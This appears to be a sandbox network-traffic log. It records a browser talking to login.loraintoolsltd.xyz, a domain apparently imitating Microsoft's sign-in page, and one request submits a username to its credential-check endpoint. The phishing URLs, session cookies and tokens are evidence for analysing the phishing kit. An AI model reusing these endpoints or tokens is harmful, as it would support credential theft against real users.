https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731208499721865.NzUyNDU3OGQtZGI5Mi00N2MwLTlhYzEtZTFlOTQ5MDU4M2JiZjM4NDQwMDYtOGZhYy00ODYyLTk2NWItM2VmODBiODQ3ZWYy&ui_locales=en-US&mkt=en-US&client-request-id=f30ca7ff-74e3-4170-af22-dce49ca63576&state=2F9amGozck4Pm-SohwrJR4IyWuDulxU-aSwPcJNEo771fBt3052_TlRoUbBDOXKRqhqL0LR-aNIPBRHMC8-14G2JdgPv2TwF19VCTpePzTEbScn1n07Tx_3XWKJ3-4nYHwRaGJRnIX2NukHb7YU7OPu_YOtmW5rXTVWuE2vbQd7uD1-cmf7TNmyUGgFIT3ICHy7eTJ2f47BhhRXpGIQEhfkYbiXtVPdETZxLF9a2FEPa3KLj_Eb_YZZ5JNWzD2tz27rIhvpwjM1pW0EtTRVt4g&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: b747-6a6f=dcc0549213a163619d4fbbef5e2bde9e2838c9cb163fc448beccdd63acd013cd; x-ms-gateway-slice=estsfd; fpc=Ato6LhKJx0FKhxMTu5t133I; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQE3HQzi_tCS94XmTqmYn4uzsObdGCWEXJ4kT4Ghnu1-a8e4l5ESPiLk3QpovKFlFxUDWXQGP2Elz9qgkBEFUNnhJq79v2Cx0KIi8lGGxGla9T7NkZN-hvvsDx6BaNrBA5JWtE0G4IID587refJD1N2XOy-BhFzHovViuyJG3xp5OogAA; stsservicecookie=estsfd; esctx-bRlTuX6U11I=AQABCQEAAABVrSpeuWamRam2jAF1XRQEgdnqVdjU-CWM0zxz7qQ1UI0xIatmxzvGUJa19R78H92wQvLQ28EKUzsG-RqMbRO379bIMRD_Q8x1NC7geDCckjQTxDJZy5N3U-mW5tT19edTp8klk-qIpdcK3ynFN3UWS6yvmRJwyfVvvUh9yTS_gyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2025-01-22 05:34:13 UTC	17	IN	HTTP/1.1 200 OK
2025-01-22 05:34:13 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Cache-Control: no-store, no-cache
2025-01-22 05:34:13 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-22 05:34:13 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-22 05:34:13 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 32 32 20 4a 61 6e 20 32 30 32 35 20 30 35 3a 33 34 3a 31 32 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 22 Jan 2025 05:34:12 GMT
2025-01-22 05:34:13 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-22 05:34:13 UTC	158	IN	Data Raw: 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 3e 3b 20 72 65 6c 3d 70 72 65 63 6f 6e 6e 65 63 74 3b 20 63 72 6f 73 73 6f 72 69 67 69 6e 2c 3c 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 3e 3b 20 72 65 6c 3d 64 6e 73 2d 70 72 65 66 65 74 63 68 2c 3c 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 66 74 61 75 74 68 2e 6e 65 74 3e 3b 20 72 65 6c 3d 64 6e 73 2d 70 72 65 66 65 74 63 68 0d 0a Data Ascii: Link: <https://aadcdn.msauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msauth.net>; rel=dns-prefetch,<https://aadcdn.msftauth.net>; rel=dns-prefetch
2025-01-22 05:34:13 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-22 05:34:13 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-22 05:34:13 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-22 05:34:13 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49786	173.46.80.217	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:34:14 UTC	774	OUT	GET /Me.htm?v=3 HTTP/1.1 Host: live.loraintoolsltd.xyz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Purpose: prefetch Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://login.loraintoolsltd.xyz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: b747-6a6f=dcc0549213a163619d4fbbef5e2bde9e2838c9cb163fc448beccdd63acd013cd
2025-01-22 05:34:14 UTC	17	IN	HTTP/1.1 200 OK
2025-01-22 05:34:14 UTC	39	IN	Data Raw: 41 63 63 65 70 74 2d 43 68 3a 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 0d 0a Data Ascii: Accept-Ch: Sec-CH-UA-Platform-Version
2025-01-22 05:34:14 UTC	34	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 30 0d 0a Data Ascii: Cache-Control: max-age=315360000
2025-01-22 05:34:14 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-22 05:34:14 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-22 05:34:14 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 32 32 20 4a 61 6e 20 32 30 32 35 20 30 35 3a 33 34 3a 31 33 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 22 Jan 2025 05:34:13 GMT
2025-01-22 05:34:14 UTC	40	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 53 61 74 2c 20 32 30 20 4a 61 6e 20 32 30 33 35 20 30 35 3a 33 34 3a 31 34 20 47 4d 54 0d 0a Data Ascii: Expires: Sat, 20 Jan 2035 05:34:14 GMT
2025-01-22 05:34:14 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-22 05:34:14 UTC	43	IN	Data Raw: 50 70 73 65 72 76 65 72 3a 20 50 50 56 3a 20 33 30 20 48 3a 20 53 4e 31 50 45 50 46 30 30 30 34 44 39 31 31 20 56 3a 20 30 0d 0a Data Ascii: Ppserver: PPV: 30 H: SN1PEPF0004D911 V: 0
2025-01-22 05:34:14 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-22 05:34:14 UTC	124	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 75 61 69 64 3d 64 38 62 38 32 30 61 34 65 34 33 30 34 35 38 34 61 30 33 62 62 63 36 66 63 61 62 37 64 63 32 34 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 6c 69 76 65 2e 6c 6f 72 61 69 6e 74 6f 6f 6c 73 6c 74 64 2e 78 79 7a 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: uaid=d8b820a4e4304584a03bbc6fcab7dc24; Path=/; Domain=live.loraintoolsltd.xyz; HttpOnly; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49802	173.46.80.217	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:34:17 UTC	859	OUT	GET /Me.htm?v=3 HTTP/1.1 Host: live.loraintoolsltd.xyz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://login.loraintoolsltd.xyz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: b747-6a6f=dcc0549213a163619d4fbbef5e2bde9e2838c9cb163fc448beccdd63acd013cd; uaid=d8b820a4e4304584a03bbc6fcab7dc24; MSPRequ=id=N&lt=1737524054&co=1
2025-01-22 05:34:17 UTC	17	IN	HTTP/1.1 200 OK
2025-01-22 05:34:17 UTC	39	IN	Data Raw: 41 63 63 65 70 74 2d 43 68 3a 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 0d 0a Data Ascii: Accept-Ch: Sec-CH-UA-Platform-Version
2025-01-22 05:34:17 UTC	34	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 30 0d 0a Data Ascii: Cache-Control: max-age=315360000
2025-01-22 05:34:17 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-22 05:34:17 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-22 05:34:17 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 32 32 20 4a 61 6e 20 32 30 32 35 20 30 35 3a 33 34 3a 31 36 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 22 Jan 2025 05:34:16 GMT
2025-01-22 05:34:17 UTC	40	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 53 61 74 2c 20 32 30 20 4a 61 6e 20 32 30 33 35 20 30 35 3a 33 34 3a 31 37 20 47 4d 54 0d 0a Data Ascii: Expires: Sat, 20 Jan 2035 05:34:17 GMT
2025-01-22 05:34:17 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-22 05:34:17 UTC	43	IN	Data Raw: 50 70 73 65 72 76 65 72 3a 20 50 50 56 3a 20 33 30 20 48 3a 20 53 4e 31 50 45 50 46 30 30 30 32 46 39 34 32 20 56 3a 20 30 0d 0a Data Ascii: Ppserver: PPV: 30 H: SN1PEPF0002F942 V: 0
2025-01-22 05:34:17 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-22 05:34:17 UTC	124	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 75 61 69 64 3d 35 64 36 36 32 65 39 65 34 62 62 64 34 63 33 34 38 37 32 61 37 31 30 66 30 33 36 62 64 33 36 37 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 6c 69 76 65 2e 6c 6f 72 61 69 6e 74 6f 6f 6c 73 6c 74 64 2e 78 79 7a 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: uaid=5d662e9e4bbd4c34872a710f036bd367; Path=/; Domain=live.loraintoolsltd.xyz; HttpOnly; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49780	173.46.80.217	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:34:18 UTC	3097	OUT	POST /common/GetCredentialType?mkt=en-US HTTP/1.1 Host: login.loraintoolsltd.xyz Connection: keep-alive Content-Length: 1988 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" hpgrequestid: 55f03092-aa4d-4a3b-8d09-eb72b5ffd500 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 client-request-id: f30ca7ff-74e3-4170-af22-dce49ca63576 canary: PAQABDgEAAABVrSpeuWamRam2jAF1XRQEkR8otjpmHteLeBySy1Q-JxGOIA8W_fQtQSdWLibjom8Tk4RtWpmdTMgy0ES0gDpxFqhn3pI2m93cr40I1FJCmcBdbYqr5RvJuW0psAi258aAL0IADKp8zGGKTxnVSZqg0ijZmYmrMfEq2mSNIT5FolPn9nhgKXqM98xl3PGWUat5RCnE7DbD4q0laCVu3nNe6PqGHPYHnm_X9OnRGnWnvSAA Content-type: application/json; charset=UTF-8 hpgid: 1104 Accept: application/json hpgact: 1800 sec-ch-ua-platform: "Windows" Origin: https://login.loraintoolsltd.xyz Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731208499721865.NzUyNDU3OGQtZGI5Mi00N2MwLTlhYzEtZTFlOTQ5MDU4M2JiZjM4NDQwMDYtOGZhYy00ODYyLTk2NWItM2VmODBiODQ3ZWYy&ui_locales=en-US&mkt=en-US&client-request-id=f30ca7ff-74e3-4170-af22-dce49ca63576&state=2F9amGozck4Pm-SohwrJR4IyWuDulxU-aSwPcJNEo771fBt3052_TlRoUbBDOXKRqhqL0LR-aNIPBRHMC8-14G2JdgPv2TwF19VCTpePzTEbScn1n07Tx_3XWKJ3-4nYHwRaGJRnIX2NukHb7YU7OPu_YOtmW5rXTVWuE2vbQd7uD1-cmf7TNmyUGgFIT3ICHy7eTJ2f47BhhRXpGIQEhfkYbiXtVPdETZxLF9a2FEPa3KLj_Eb_YZZ5JNWzD2tz27rIhvpwjM1pW0EtTRVt4g&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: b747-6a6f=dcc0549213a163619d4fbbef5e2bde9e2838c9cb163fc448beccdd63acd013cd; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-bRlTuX6U11I=AQABCQEAAABVrSpeuWamRam2jAF1XRQEgdnqVdjU-CWM0zxz7qQ1UI0xIatmxzvGUJa19R78H92wQvLQ28EKUzsG-RqMbRO379bIMRD_Q8x1NC7geDCckjQTxDJZy5N3U-mW5tT19edTp8klk-qIpdcK3ynFN3UWS6yvmRJwyfVvvUh9yTS_gyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AQoAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAKAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQESI7uViuukbxfCjYqzor-A_jndiEK7L3uqF70m27twZyKszo_Se4or6UparMXpA4ipt2xjfu7Z2DKyCcQZlSjtdAr-zjaNi439M68oLPIV4QgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQENyPdhqfYMHo03v-2Ipk7TtGaJpAfyraEqDeIwEw4d6Ykx4qujFrEOL7QYAU09KFM8ncW5EiJhR_Xf5MCHg4toc5OGKcVE-qtpMeebR7OYyGDXtY5mVH6M4JL_3JORnHq-iGnifb6-Q84tV1GYO81vQHQ53YVR1w_a2bZXl72sMogAA; esctx-ri4R7PtiEYo=AQABCQEAAABVrSpeuWamRam2jAF1XRQEo7-Dv_IahjaZbHJuJ6KhvUfmOkvElodFrP3sJlzY-RUJzXOZRjlAWjZ5Vq6d1Y47mJHva9ZpHZqKMCPfQtY_C0tflxZUqz9KcgajUuvbdaq_-l3zzjsi-X8ZwyOF-4gtwFLTldcvQt9RROO8-CeEDCAA; fpc=Ato6LhKJx0FKh [TRUNCATED]
2025-01-22 05:34:18 UTC	1988	OUT	Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 22 6a 6f 68 6e 2e 77 61 6c 6b 65 72 40 67 6d 61 69 6c 2e 63 6f 6d 22 2c 22 69 73 4f 74 68 65 72 49 64 70 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 63 68 65 63 6b 50 68 6f 6e 65 73 22 3a 66 61 6c 73 65 2c 22 69 73 52 65 6d 6f 74 65 4e 47 43 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 69 73 43 6f 6f 6b 69 65 42 61 6e 6e 65 72 53 68 6f 77 6e 22 3a 66 61 6c 73 65 2c 22 69 73 46 69 64 6f 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 6f 72 69 67 69 6e 61 6c 52 65 71 75 65 73 74 22 3a 22 72 51 51 49 41 52 41 41 68 5a 4b 5f 6a 39 74 30 41 4d 58 6a 35 43 35 33 46 78 55 61 46 56 53 56 37 59 51 59 45 4d 4c 4a 31 31 5f 62 73 58 4f 6f 77 2d 58 73 32 45 37 69 48 30 6d 63 4f 4d 35 69 32 59 35 39 39 73 57 5f 7a 6e Data Ascii: {"username":"john.walker@gmail.com","isOtherIdpSupported":true,"checkPhones":false,"isRemoteNGCSupported":true,"isCookieBannerShown":false,"isFidoSupported":true,"originalRequest":"rQQIARAAhZK_j9t0AMXj5C53FxUaFVSV7YQYEMLJ11_bsXOow-Xs2E7iH0mcOM5i2Y599sW_zn
2025-01-22 05:34:19 UTC	17	IN	HTTP/1.1 200 OK
2025-01-22 05:34:19 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Cache-Control: no-store, no-cache
2025-01-22 05:34:19 UTC	57	IN	Data Raw: 43 6c 69 65 6e 74 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 66 33 30 63 61 37 66 66 2d 37 34 65 33 2d 34 31 37 30 2d 61 66 32 32 2d 64 63 65 34 39 63 61 36 33 35 37 36 0d 0a Data Ascii: Client-Request-Id: f30ca7ff-74e3-4170-af22-dce49ca63576
2025-01-22 05:34:19 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-22 05:34:19 UTC	47	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: application/json; charset=utf-8
2025-01-22 05:34:19 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 32 32 20 4a 61 6e 20 32 30 32 35 20 30 35 3a 33 34 3a 31 39 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 22 Jan 2025 05:34:19 GMT
2025-01-22 05:34:19 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-22 05:34:19 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-22 05:34:19 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-22 05:34:19 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49810	173.46.80.217	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:34:20 UTC	1588	OUT	GET /common/GetCredentialType?mkt=en-US HTTP/1.1 Host: login.loraintoolsltd.xyz Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: b747-6a6f=dcc0549213a163619d4fbbef5e2bde9e2838c9cb163fc448beccdd63acd013cd; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-bRlTuX6U11I=AQABCQEAAABVrSpeuWamRam2jAF1XRQEgdnqVdjU-CWM0zxz7qQ1UI0xIatmxzvGUJa19R78H92wQvLQ28EKUzsG-RqMbRO379bIMRD_Q8x1NC7geDCckjQTxDJZy5N3U-mW5tT19edTp8klk-qIpdcK3ynFN3UWS6yvmRJwyfVvvUh9yTS_gyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AQoAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAKAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQESI7uViuukbxfCjYqzor-A_jndiEK7L3uqF70m27twZyKszo_Se4or6UparMXpA4ipt2xjfu7Z2DKyCcQZlSjtdAr-zjaNi439M68oLPIV4QgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQENyPdhqfYMHo03v-2Ipk7TtGaJpAfyraEqDeIwEw4d6Ykx4qujFrEOL7QYAU09KFM8ncW5EiJhR_Xf5MCHg4toc5OGKcVE-qtpMeebR7OYyGDXtY5mVH6M4JL_3JORnHq-iGnifb6-Q84tV1GYO81vQHQ53YVR1w_a2bZXl72sMogAA; esctx-ri4R7PtiEYo=AQABCQEAAABVrSpeuWamRam2jAF1XRQEo7-Dv_IahjaZbHJuJ6KhvUfmOkvElodFrP3sJlzY-RUJzXOZRjlAWjZ5Vq6d1Y47mJHva9ZpHZqKMCPfQtY_C0tflxZUqz9KcgajUuvbdaq_-l3zzjsi-X8ZwyOF-4gtwFLTldcvQt9RROO8-CeEDCAA; fpc=Ato6LhKJx0FKh [TRUNCATED]
2025-01-22 05:34:20 UTC	17	IN	HTTP/1.1 200 OK
2025-01-22 05:34:20 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Cache-Control: no-store, no-cache
2025-01-22 05:34:20 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-22 05:34:20 UTC	47	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: application/json; charset=utf-8
2025-01-22 05:34:20 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 32 32 20 4a 61 6e 20 32 30 32 35 20 30 35 3a 33 34 3a 32 30 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 22 Jan 2025 05:34:20 GMT
2025-01-22 05:34:20 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-22 05:34:20 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-22 05:34:20 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-22 05:34:20 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-22 05:34:20 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
